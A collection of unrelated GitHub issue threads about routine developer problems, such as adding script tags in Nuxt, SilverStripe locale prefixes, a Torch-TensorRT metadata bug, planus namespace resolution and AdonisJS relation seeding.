How would I handle this with Nuxt seen as their docs states that "Stripe.js should always be loaded directly from this URL: https://js.stripe.com/v2/", my first instinct was to just drop a script tag in my default layout template but this doesn't seem to work?
Is there a way I can do this correctly?

Hi @antcook
Take a look at https://nuxtjs.org/faq
So can do in your nuxt.config.js (or in your layout):
head: {
  script: [
      { src: 'https://js.stripe.com/v2/' }
  ]
}

Ah, fantastic. Thank you! :)

Can you have multiple  script tags?

@Atinux
Put script in head is not good for loading performance. It will delay first screen time, especially ssr pages.

InnerHTML not works in nuxt 1.3.0. JS is escaped.
<script data-n-head="true" type="text/javascript">if (!self.Promise || !self.WeakSet || !self.Proxy || !Array.prototype.slice || !Object.values) { location.href = "/oldbrowser.html" }</script>

script: [
      { innerHTML: 'if (self.Promise || !self.WeakSet || !self.Proxy || !Array.prototype.slice || !Object.values) { location.href = \'/oldbrowser.html\' }', type: 'text/javascript' }
    ]

I also confirm @EllenFawkes :D /cc @Atinux

Hi @EllenFawkes
This is to avoid XSS attack, it's a feature of vue-meta, if you want to disable the sanitizer, you can use __dangerouslyDisableSanitizersByTagID:
head: {
  script: [
    { hid: 'oldbrowser', innerHTML: 'if (!self.Promise || !self.WeakSet || !self.Proxy || !Array.prototype.slice || !Object.values) { location.href = \'/oldbrowser.html\' }', type: 'text/javascript' }
  ],
  __dangerouslyDisableSanitizersByTagID: {
    oldbrowser: 'innerHTML'
  }
}

/cc @pi0


404 on Homepage

I'm currently testing the prefixer but the homepage on the default langues is coming up as "Page not found." It works fine without the module. I'm using ss3.4 and here is my mysite/_config/config.yml
i18n :
  common_locales:
    en_CA:
      name: 'English (Canada)'
      native: 'English (Canada)'
    en_AU:
      name: 'English (Australia)'
      native: 'English (Australia)'

Translatable:
  enforce_global_unique_urls: false

---
Name: languageprefix-config
---
prefixconfig:
  locale_prefix_map:
    # 'en_GB': uk
    'en_US': us
    'en_CA': ca
  enable_duplicate_urlsegments: true
  disable_prefix_for_default_lang: true

Default locale is configured in _config.php as
i18n::set_locale('en_GB');
Translatable::set_default_locale('en_GB');

Any suggestions?

Hmm that's strange... I'll try and reproduce it. Would be great if you could look into it as well if you have the time that is :)

I'm sorry, I couldn't reproduce this problem.
Below is what I did.  I also added the settings I used - which are almost the same as yours, the only thing different is en_AU in the prefix map instead of en_CA, because I had created Australian translations instead of Canadian :)
I did the following:

composer create-project silverstripe/installer www
composer require silverstripe/translatable 2.2.0
composer require martimiz/silverstripe-languageprefix v3.0.0
add the _config.php settings
dev/build?flush
add the config.yml settings
?flush=all
created en_AU translations
tested homepage www/mysite.dev/ and www/mysite.dev/au/ -> both found == ok
tested www/mysite.dev/en_GB/  -> not found == ok
tested other translations -> ok

i18n::set_locale('en_GB');
Translatable::set_default_locale('en_GB');

i18n:
  common_locales:
    en_CA:
      name: 'English (Canada)'
      native: 'English (Canada)'
    en_AU:
      name: 'English (Australia)'
      native: 'English (Australia)'
Translatable:
  enforce_global_unique_urls: false
---
Name: languageprefix-config
---
prefixconfig:
  locale_prefix_map:
    # 'en_GB': uk
    'en_US': us
    'en_AU': au
  enable_duplicate_urlsegments: true
  disable_prefix_for_default_lang: true

I think I figured it out. I set up the other English versions before I enabled 'enable_duplicate_urlsegments' so the default en-GB urlSegment was home, while the the en-US was home-en-us.
For some reason when going to the home page it was trying to find home-en-us with a Locale of en-GB. Once I switch the en-US sefment to home it worked. I'm not sure if it was a browser setting making it lok for the US version or somethin else.

That's a bit too complex to duplicate... :)
Anyway: the URLSegment link in the CMS should always tell you how the link for each page is constructed, and clicking it should lead you to the right page...
If you ever find a situation where that link is incorrect or doesn't lead to the right page or isn't equal to the link that is constructed on the frontend, let me know, including settings and urls.
For now I'll close this issue.


Update deploy_flask.sh

combine all the package installations in one line
use requirements.txt file as path for installations

Co-Authored-By : @ofirse , @chenmal  , @Nelynehemia
(issues #55)

Please ensure the CI passes

Please ensure the CI passes

@ifireball The PR was sent before the CI was fixed, is there an option to re-run the CI? or a new commit should be made in order to see if it passes?

Please ensure the CI passes

@ifireball The PR was sent before the CI was fixed, is there an option to re-run the CI? or a new commit should be made in order to see if it passes?

@tomerguttman  Sure, click on the PR's "checks" tab and the "re-run jobs" button

@Omeramsc If I run it again, it runs the outdated CI that failed and not the newer version which we uploaded... I've tried to look maybe I could switch the CI workflow that is being ran manually, but no success.

@tomerguttman Have you rebased with the updates to the CI?

@tomerguttman Have you rebased with the updates to the CI?

@ShirMizrachi


🐛 [Bug] view_to_reshape metadata mismatch

Bug Description
When replacing the view nodes with reshape nodes, the metadata of the original view nodes, are assigned to the reshape nodes in the wrong order.
For example, assume we have 2 view nodes, view_1, view_2. So we will have a list, [metadata1, metadata2], from this code
I haven't dive deep yet, but after torch.fx.subgraph_rewriter.replace_pattern(gm, orig, replacement), in the new graph, the view nodes are replaced with reshape nodes, however, the order of reshape nodes can be reshape_default_2, reshape_default_1. In this case, when we set the metadata back by set_metadata(gm, replacement_op, metadata), the metadata can mismatch
To Reproduce
I am sorry, I cannot share the graph of the model, I will try my best to have e toy model to reproduce the error.
Steps to reproduce the behavior:

Expected behavior

Environment

Build information about Torch-TensorRT can be found by turning on debug messages

Torch-TensorRT Version (e.g. 1.0.0): 2.4.0
PyTorch Version (e.g. 1.0): 2.4.1
CPU Architecture: x86_64
OS (e.g., Linux): linux
How you installed PyTorch (conda, pip, libtorch, source): pip
Build command you used (if compiling from source):
Are you using local sources or building from archives: no
Python version: 3.11.9
CUDA version:12.6
GPU models and configuration: NVIDIA L4
Any other relevant information:

Additional context

I check the source code, seems we have converter support for torch.ops.aten.view, so probably the best way to solve this is to delete the view_to_reshape pass

This PR has the fix : https://github.com/pytorch/TensorRT/pull/3320. We need this pass instead of the converter because of https://github.com/pytorch/TensorRT/pull/2464


Make endIntervalTree preserve nodes with different start positions

This makes the contents of endIntervalTree match intervalTree.intervals, so we can use endIntervalTree to optimize iteration over intervals that match a given end position.

I'll rethink this after merging #6407.


Format warning in Russan translation

At issue page only in Russian translation showed warning %! (template.HTML=.
En screenshot:

Ru screenshot:

Which version are you using. I cannot reproduce this on https://try.gogs.io

<IP_ADDRESS>2
I reprodice it -
https://try.gogs.io/LeKovr/sample1512/issues/1

What browser are you using?
Here is a screenshot from Firefox 42 and it looks fine to me:

I also tried it with Safari 9.0.2 and Chrome 47 and can't see anything wrong.

FF 42 on Ubuntu 14.04
But I guess it does not matter.  It is the same on Chromium 47.0.2526.73 Ubuntu 14.04 (64-bit)

BTW, I sad - Russian only, in other langs all ok

I know, I tested in Russian. And it looks fine here, with all the browsers I can test with. Strange...

Oh Sorry.  Your right. It appears here as well.

This is a source for Russian:

				%! (template.HTML=минут назад: 22)открыта LeKovr

			·
			комментариев: 0

and for English:

				opened 21 minutes ago by LeKovr

			·
			0 comments

Problem was located and solution exists already (missing s in %[1]).
I vote for right choice here - https://crowdin.com/translate/gogs/1/enus-ru#q=issues.opened_by

Glad you found it. :clap:

@LeKovr thank you! Approved.


properly handle channel posts

Signed-off-by: Vasiliy Tolstov<EMAIL_ADDRESS>

@vtolstov thanks for pull request, but I already pushed fix for this issue. But anyway, thanks for contribution =)


Unsupported namespace with includes

Given the two files (available here):
math.fbs
namespace MyProject.Math;

struct Vector2 {
        x: float;
        y: float;
}

game.fbs
include "math.fbs";

namespace MyProject.Game;

table GameObject {
        position: Math.Vector2;
}

Using google's flatbuffers works as expected (using flatc version 2.0.6):
flatc -o rust -r --gen-all game.fbs
However, planus is not able to resolve namespaces:
planus check *.fbs
error: Unknown type
  ┌─ game.fbs:6:12
  │
6 │     position: Math.Vector2;
  │

Honestly I am very surprising that this compiles using flatc. It certainly does not seem to work though. If I try to add game_generated.rs and math_generated.rs to a project, I get name resolution errors:
error[E0433]: failed to resolve: could not find `math` in `super`
  --> src/game_generated.rs:66:47
   |
66 |   pub fn position(&self) -> Option<&'a super::math::Vector2> {
   |                                               ^^^^ could not find `math` in `super`

Though perhaps that is a problem with flatc 22.11.23 specifically. I can try with a newer flatc and see what happens.

To use this with planus, replace position: Math.Vector2 with position: MyProject.Game.
I have tried to use a newer flatc unsuccessfully with or without this replacement using the rust backend. As far as I can tell they don't support generating correct code for this type of nested namespaces.

I will investigate more, we are using such nested namespaces for years on our project with both Typescript and Rust versions of flatbuffers.

Ahh, I missed the --gen-all flag, which seems to be required for this to work.
In any casse, I am still very confused about why flatc would accept this.
The resolution code in planus is here. We currently only support two resolution modes: Relative to current namespace, and relative to the root namespace. I personally think this makes the most sense, but even so I think there is value in following the behavior of flatc.
I would definitely accept a patch to bring us closer to flatc, assuming the behavior of flatc is actually intentional and not just a bug.

@stephanemagnenat Feel free to ping my in our discord if you want to chat more about this.

I did not find a specification about namespace resolution, and I cannot recall how I chose the model we use. However, a discussion in an issue seems to indicate that namespace resolution uses a notion of closest distance while walking namespaces backwards, "similar to how C++ works", which seems to indicate that our usage is "correct" and not the exploitation of a bug ;-)

Nice find!
Unfortunately I don't have the capacity to work on this myself, but I will definitely accept a patch to make our resolution code closer to the flatc behavior.

Of course, that's kind of an arcane feature. For my experiments with planus, I will simplify our namespace structure.

Maybe there could be a "conformity" tag for such issues?


Added function to store objects as both pickle and json

This function is made so that we can test pickled objects over different operating systems and versions and still being able to compare and store the answer so that it doesnt get lost.

Why do we upload the pickle file as well? It's not human readable, doesn't feel relevant and will change a lot.

Fixed the merge conflict, though we got a conflict with the requirements file. Apparently, json is nowadays a standard library. Meaning we don't have to do that pip install. Removed it from the file for you as well.


Typeahead offices pgs

Coverage remained the same at 91.394% when pulling 9d7f2a5c8f69212ce15a8e2bdcd399726be19a3c on typeahead-offices-pgs into d28ea99a67a635e168136c843655f37aa98f7bcd on search-pagination.


Ability to hide opaque bar at top of chats

First off, nice project! Really appreciate how easy it is to apply themes.
My only quibble is this bar that shows at the top of chats, where the date label floats. See screenshot. There's the gap which is a bit distracting.

I wouldn't mind knowing what CSS to add to hide this bar, but barring that moving this element up by a few pixels to eliminate the gap is good too.

Looks like this is no longer an issue with a recent app or theme update.


pandas chunking

issue to cover improved RAM usage through pandas + chunking (rather than dask, which I used  to try against a separate issue)

Did you try a smaller data set to confirm it's its mere size?


belongsToMany relation failed with E_CANNOT_OVERRIDE_RELATION during seed

Package version
v5.0.4
Node.js and npm version
$ node --version
v9.7.1
$ npm --version
5.6.0
$ yarn --version
1.9.2
Sample Code (to reproduce the issue)
Issue described in Adonis forum here : https://forum.adonisjs.com/t/belongstomany-relation-failed-with-e-cannot-override-relation-during-seed/1596
Thanks Virk (@thetutlage) for your answer.
The original message is :
Hi all,
sorry if my question has no sense but I don't find any answers on this forum or by google search.
I have 2 tables, one for Users (classic one) and the other one a pivot table to describe followers. The migration file for this one is :
const Schema = use('Schema')

class FollowersSchema extends Schema {
  up () {
    this.create('followers', (table) => {
      table.integer('user_id').unsigned().index().notNullable().references('id').inTable('users').onDelete('cascade')
      table.integer('follower_id').unsigned().index().notNullable().references('id').inTable('users').onDelete('cascade')
      table.primary(['user_id', 'follower_id'])
      table.timestamps()
    })
  }

  down () {
    this.drop('followers')
  }
}

I declare belongsToMany relations in my User model, one for having followers and this other one to have followings :
class User extends Model {
  followers() {
    return this.belongsToMany('App/Models/User', 'user_id', 'follower_id')
      .pivotTable('followers')
      .withTimestamps()
  }

  followings() {
    return this.belongsToMany('App/Models/User', 'follower_id', 'user_id')
      .pivotTable('followers')
      .withTimestamps()
  }
}

I try to make a seeder to have a set of test data. My seeder file looks like:
class TestUserSeeder {
  async run () {

    // 'TestUser' creation
    const testUser = await Factory
      .model('App/Models/User')
      .create({ username: 'test', email<EMAIL_ADDRESS>password: 'test' })

    // Other users
    const otherUsers = await Factory
      .model('App/Models/User')
      .createMany(10, { password: 'test' })

    // Adding some followers
    await testUser.followings().saveMany([otherUsers[0], otherUsers[1], otherUsers[2]])
    await testUser.followers().saveMany([otherUsers[9], otherUsers[8], otherUsers[2]])
  }
}

If I comment the second line (testUser.followers...), all is right !
But if I let the two lines, data in my database are right (i have my 6 new lines in followers table), but I have a runtime error :
RuntimeException: E_CANNOT_OVERRIDE_RELATION: Trying to eagerload pivot relationship twice
> More details: https://err.sh/adonisjs/errors/E_CANNOT_OVERRIDE_RELATION

Can you have an idea to solve this error ? I'm a new user of Adonis so, I certainly make a mistake somewhere...
Thanks !

Same problem here... is there a fix yet?